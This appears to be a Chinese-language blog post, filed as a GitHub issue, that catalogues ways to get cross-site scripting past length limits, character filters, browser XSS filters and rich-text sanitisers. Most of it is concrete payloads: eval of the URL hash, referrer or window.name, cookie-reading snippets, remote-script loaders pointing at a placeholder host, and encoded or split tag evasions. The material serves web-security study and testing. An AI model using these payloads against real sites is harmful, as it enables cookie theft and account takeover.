PyxYuYu/MyBlog

XSS & WAF

PyxYuYu opened this issue · 0 comments

Satisfaction doesn't come from the outside, but from the inside.

0x01 XSS

  • WAF 绕过
    • XSS 字符数量限制绕过
      • 有些 XSS 漏洞由于字符数量限制导致没法有效利用,所以需要绕过限制
      • 绕过的思路
        • 执行可以控制的不受限的数据
      • 绕过方法
        • 利用 HTML 上下文中其他可控数据
          • 如果存在 XSS 漏洞的页面 HTML 上下文中还有其他可控数据,那么可以通过 JS 获取该数据,然后通过 eval、document.write、innerHTML 等方式执行该数据,从而突破 XSS 字符数量限制
             <div id="x"> 可控的安全数据 </div>
             <limited_xss_point>alert(1);</limited_xss_point>
          
          • 由于 XSS 处字符数量的限制,所以只能弹框,无法有效利用,这里通过把 XSSPayload 通过 escape 编码后作为安全的数据,输出到可控的安全数据位置(此处未限制),然后在 XSS 处执行可控的安全数据
             <div id="x">alert%28document.cookie%29%3b</div> // escape编码
             <limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
          
          • 长度:28 + len(id)
          • 如果不能使用 document.URL 等方式,但是可控无限个 <p>,可以分割单独插入
             <p class="comment" title=""><script>/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x=new  Array();/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[0]='a';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[1]='l';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[2]='e';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[3]='r';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[4]='t';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[5]='(';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[6]='1';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/x[7]=')';/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/y=x.join('');/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/eval(y);/*" data-comment='{"id":1}'></p>
             <p class="comment" title="*/</script>" data-comment='{"id":1}'></p>
          
        • 利用 URL 中的数据
          • 如果不存在可控的 HTML 上下文,可以使用 URLURL 中的数据是无条件可控的,通过在 URL 的尾部参数构造要执行的代码,然后在 XSS 处通过 document.URL/location.href 等方式获得代码数据执行
             http://www.xxx.com/1.php?x=1...&alert(document.cookie)
             // 假设代码从第80个字符开始
             <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
          
          • 长度:30
             <limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
          
          • 长度:31
             <limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
          
          • 长度:29
             <limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
          
          • 长度:30
          • location 对象 中 hash 成员可以获取 # 之后的数据
             http://www.xxx.com/1.php?x=1...#alert(document.cookie)
             <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
          
          • 由于获得的数据是 # 开头,所以从 1 开始,长度:29
        • 利用 JS 上下文
          • 开发人员为了缩短开发时的函数名,自定义了一些函数来实现,可以通过分析 JS 上下文现有的这些函数来实现突破长度限制
          • 有些函数可以加载代码
             function loads(url){
                 ...
                 document.body.appendChild(script);
             }
          
             <limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
          
          • 长度:len(函数名)+len(url)+5
          • 有些函数可以作 HTTP 请求
             function get(url){
                 ...
                 return x.response Text;
             }
          
             <limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
          
          • 长度:len(函数名)+len(url)+11
        • 利用浏览器特性在跨域的页面之间传递数据
          • document.referrer
            • 攻击者可以在自己的域上构造页面跳转到被 XSS 的页面,在自己域上的页面 URL 带入 Payload,被 XSS 的页面通过 referrer 获取相关代码执行
            • 通过获取 referrer 参数,当攻击者的页面访问的时候,就会有 referrer 参数,即攻击者的 URL
            • 攻击者构造的页面
               http://www.a.com/attack.html?...&alert(document.cookie)
               
               <a href="http://www.xssedsite.com/xssed.php">go</a>
            
            • XSS 的页面
               <limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
            
          • clipboardData
            • 攻击者在自己域的页面上通过 clipboardDataPayload 写入剪切板,然后在被 XSS 的页面获取并执行该数据
            • 攻击者构造的页面
               <script>
                   clipboardData.setData("text", "alert(document.cookie)");
               </script>
            
            • XSS 的页面
               <limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
            
            • 只适用于 IE 7 以下
          • window.name
            • 攻击者通过 window.name 直接设置当前窗口的 name 则没有特殊字符限制,然后直接跳转到被 XSS 的页面,通过 name 属性传递 Payload 过去执行
            • 攻击者构造的页面
               <script>
                   window.name = "alert(document.cookie)";
                   location.href = "http://www.xssedsitecom/xssedphp";
               </script>
            
            • XSS 的页面
               <limited_xss_point>eval(name);</limited_xss_point>
            
            • 长度:11
    • XSS 引号绕过
      • 如果对引号进行了过滤,可以采取 / 进行绕过
         <script>alert(/1/)</script>
         <iframe/onload=alert(/1/)>
         <img src=x onerror=alert(/1/)>
         <p onmouseover=alert(/1/)>xxx</p>
      
      • String.fromCharCode
        • fromCharCode 可以对利用代码中的引号进行编码处理,需要利用 eval 函数结合使用
           <script>alert('1')</alert>
           <script>eval(String.fromCharCode(97,108,101,114,116,40,39,49,39,41))</script>
        
      • 上面突破跨站长度限制的方法也可以绕过引号
    • XSS 尖括号绕过
      • 一般情况下如果输出没有显示在其他标签里,那么基本上是没有办法进行攻击的,但是如果是输出到其他标签里,则可以结合上下标签进行绕过
        • 事件函数
          • 常用的一些事件函数
            • onerroronmouseoveronload 等(但是这里依然需要有 <、>、= 等符号,只能是在 script 才过滤)
               <img src=x onerror=alert(/1/)>
               <p onmouseover=alert(/1/)>xxx</p>
               <frameset onload=alert(/1/)>
               <body onload=alert(/1/)>
            
        • styleexpression
          • 通过标签的 style 样式进行跨站(IE
             <div style="width:expression(alert('1'));">
          
        • JavaScript 伪协议
          • IE
             <img src=javascript:alert('1')>
          
    • XSS 括号绕过
      • 外部文件
        • 很多时候不仅仅是需要得到 Cookie 等,还需要传播(XSS 蠕虫)
        • 通过 src 引入外部文件,利用代码写在外部文件中(外部文件后缀可以不为 .js
        • 也可以绕过长度限制
           <script src='1.js'></script>
        
      • hexdec 编码
        • 利用十六进制、十进制进行编码
           <div style="width:expression(alert('1'))">1</div>
           
           <div style="&#119;&#105;&#100;&#116;&#104;&#58;&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;&#40;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;&#41;">1</div>
        
    • XSS 绕过过滤器(Filter
      • 浏览器过滤器基本只支持 反射型XSS,其他类型基本不受影响
      • IE Filter 绕过
        • <a href=>
          • 针对普通的 反射型XSS,可以利用 a 标签和 sc%0aript 实现绕过,不过需要用户点击
          • 原理:页面输出后这两个页面属于同一域,因此不会产生过滤,如果 href 里面的地址不同域就会产生过滤
             <a href="xss.php?a=<sc%0aript>alert(/1/)</script>">
          
        • utf7
          • 通过 UTF7-BOM 实现,全补丁情况下只有当 header 里编码为 utf-7 才能成功
             %2BACIAPgA8-script%2BAD4-alert%28/1/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J
          
        • Flash
          • www.b.com 域名下用 iframe 嵌入 www.a.comFlash XSS 文件,当受害者打开 www.b.com,就可以触发 www.a.com 域名下的 XSS,获取数据
          • 对于 a 而言,这个 Flash XSS 只是普通的 Flash XSS,只不过是由跨域的浏览器发起的
             <iframe/src="http://www.b.com/1.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"></iframe>
          
          • Chrome 下可能会导致浏览器崩溃,改用以下代码
             <iframe/src="http://www.b.com/1.swf?get-data=(function(){alert(document.cookie)})()"></iframe>
          
      • Chrome Filter
        • data 协议
           ?vuln=<a href="javascript:alert(document.cookie);">click</a>     // 拦截
           
           >vuln=<a href="javascript:void(0)">click</a>    // 绕过
           ?vuln=<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+ ">click<a>    // 绕过
        
    • XSS 富文本绕过
      • 黑名单、白名单机制过滤,实质都是基于正则匹配的过滤
      • 测试流程:
        • 输入常见的标签和事件
        • 是否有存在的标签没有过滤
        • 变形或者分析其属性
      • 标签: object applet base link meta import embed vmlframe iframe script style isindex form textarea
      • 字符: javascript: vbscript:
      • 事件: onload onerror on*
      • 未递归过滤
        • 很多富文本过滤都是针对关键字过滤,但是没有进行递归过滤,导致过滤后的结果重新组成新的标签
           <ifra<ifame>me>...</ifra</iframe>me>
           <s<script>cript>...</s</script>cript>
        
      • 编码
      • 利用字符的十六进制和十进制编码进行关键字绕过,由于 expression 只能 IE 执行,因此仅限于 IE
         <div style="width:expression(alert(/1/))">1</div>
         <div style="width:\0065xpression(alert(/1/))">1</div>
         // 编码
         <div style="width:\0065xpressio\6e(alert(/1/))">1</div>
         <div style="&#119;&#105;&#100;&#116;&#104;&#58;&#92;&#48;&#48;&#54;&#53;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;&#40;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#49;&#47;&#41;&#41;">1</div>
      
      • 特殊字符
        • 可以插入 tab换行空白符/** 绕过关键字匹配,基本也只限于 IE
           <div style="width:exp/**
           **/ression(alert(/1/))">1</div>
        
      • 非常见协议
        • 利用 object 标签,将 date 属性数据进行 base64 编码绕过关键数据,同时 object 标签也是经常被遗忘的标签
           <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvaW5zaWdodC1sYWJzLyk8L3NjcmlwdD4=">
        
      • HTML5
        • 利用 HTML5 新标签或者新属性来进行绕过
        • 新标签:button video audio article footer nav
        • 新属性: automplete autofocus pattern ...
           <input onfocus=write(1) autofocus>
           <video poster=javascript:alert(1)//></video>
        
      • 浏览器方面
        • IE 的注释方式
           <!--[if IE]><img src=# width=0 height=0 onerror=alert(/ourren_demo/)><![endif]-->
           <comment><img src="</comment><img src=x onerror=alert(/ourren_demo/)//">